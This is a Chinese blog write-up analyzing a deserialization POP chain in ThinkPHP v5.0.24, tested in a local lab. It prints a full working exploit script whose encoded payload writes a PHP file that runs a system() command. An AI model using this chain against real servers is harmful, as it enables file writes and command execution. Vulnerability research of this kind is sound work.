ThinkPHP-v5.0.24 POP链分析

POP链不能只去看,要尝试动手去跟进分析。如果文章有什么不对的地方请大佬们指教~

前置知识

POP 链

POP 链的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。

魔术方法

__construct()   //创建对象时触发
__destruct()    //对象被销毁时触发
__call()        //在对象上下文中调用不可访问的方法时触发
__callStatic()  //在静态上下文中调用不可访问的方法时触发
__toString()    //把类当作字符串使用时触发
__invoke()      //当脚本尝试将对象调用为函数时触发
__wakeup()      //使用unserialize时触发
__sleep()       //使用serialize时触发
__get()         //用于从不可访问的属性读取数据
__set()         //用于将数据写入不可访问的属性
__isset()       //在不可访问的属性上调用isset()或empty()触发
__unset()       //在不可访问的属性上使用unset()时触发

环境准备

  1. ThinkPHP v5.0.24完整版下载地址:http://www.thinkphp.cn/donate/download/id/1278.html
  2. PHPStorm
  3. PHPStudy + Xdebug

POP 链分析

翻阅资料发现该漏洞暂时没有可远程利用的漏洞入口点,所以本次POP链分析仅基于本地环境模拟一个反序列化的入口点

application\index\controller下的index.php构造一个base64解码的反序列化入口,将exp传入。开始debug

在调用windows类的时候, 在对象销毁时就会触发__destruct()removeFiles()方法,通过可控的$this->files利用file_exists()可以调用了Model类的__toString()方法

$this->files = [new \think\model\Merge]

因为此时exp中的$filename此时的值是\think\model\Merge的抽象类Model类名,进而触发Model类的__tostring()方法

继续跟进冲冲冲

跟进到toArray()方法中, $this->append中的值,也就是getError,该方法中$this->error可控,设置为 BelongsTo

看到getRelationData(),它传入的是Relation类型的对象,再判断对象的类名是否相同则返回我们想要的$value值,但是在返回$value值之前,它将去完成EXP中BelongsTo类的getRelation()方法

接着就会来到BelongsTo类中的getRelation()方法,这里的$this->query可控,EXP中找了一个没有removeWhereField()方法并且存在__call()方法的类来作为$this->query,这里挑选了Output

可以看到已经到了Output类的__call()方法

这里的$this->handle可控 全局搜索可控类中的set()方法

这里的$this->handler同样可控,所以全局搜索调用set()方法的类(记住这个setTagItem()方法)

这里能够写入文件,但是这里的$data无法不可控,所以第一个文件仅传进去以下经过base64且序列化对象的内容

上面的函数走完出来之后 又回到Memcahed类中的set()方法中调用setTagItem(),这里又会进行调用set()方法

重新又来到File类的set()方法,在这里将要写入prefix的值,该值便是exp中base64编码后的payload

到此为止,我们的payload已经被成功写入

EXP如下:

<?php
namespace think\process\pipes;
class Windows
{
    private $files = [];
    public function __construct()
    {
        $this->files = [new \think\model\Merge];
    }
}
namespace think\model;
use think\Model;
class Merge extends Model
{
    protected $append = [];
    protected $error;
    public function __construct()
    {
        $this->append = [
            'bb' => 'getError'
        ];
        $this->error = (new \think\model\relation\BelongsTo);
    }
}
namespace think;
class Model{}
namespace think\console;
class Output
{
    protected $styles = [];
    private $handle = null;
    public function __construct()
    {
        $this->styles = ['removeWhereField'];
        $this->handle = (new \think\session\driver\Memcache);
    }
}
namespace think\model\relation;
class BelongsTo
{
    protected $query;
    public function __construct()
    {
        $this->query = (new \think\console\Output);
    }
}
namespace think\session\driver;
class Memcache
{
    protected $handler = null;
    public function __construct()
    {
        $this->handler = (new \think\cache\driver\Memcached);
    }
}
namespace think\cache\driver;
class File
{
    protected $tag;
    protected $options = [];
    public function __construct()
    {
        $this->tag = false;
        $this->options = [
            'expire'        => 3600,
            'cache_subdir'  => false,
            'prefix'        => '',
            'data_compress' => false,
            'path'          => 'php://filter/convert.base64-decode/resource=./',
        ];
    }
}
class Memcached
{
    protected $tag;
    protected $options = [];
    protected $handler = null;
    public function __construct()
    {
        $this->tag = true;
        $this->options = [
            'expire'   => 0,
            'prefix'   => 'PD9waHAKc3lzdGVtKCd0eXBlIEM6XFx3aW5kb3dzXFx3aW4uaW5pJyk7Cj8+',  //经多次尝试,这里的payload在base64编码后不能有=
        ];
        $this->handler = (new File);
    }
}
echo base64_encode(serialize(new \think\process\pipes\Windows));
  • 发表于 2021-10-14 18:23:09
  • 阅读 ( 7543 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
w1nk1
w1nk1

12 篇文章

站长统计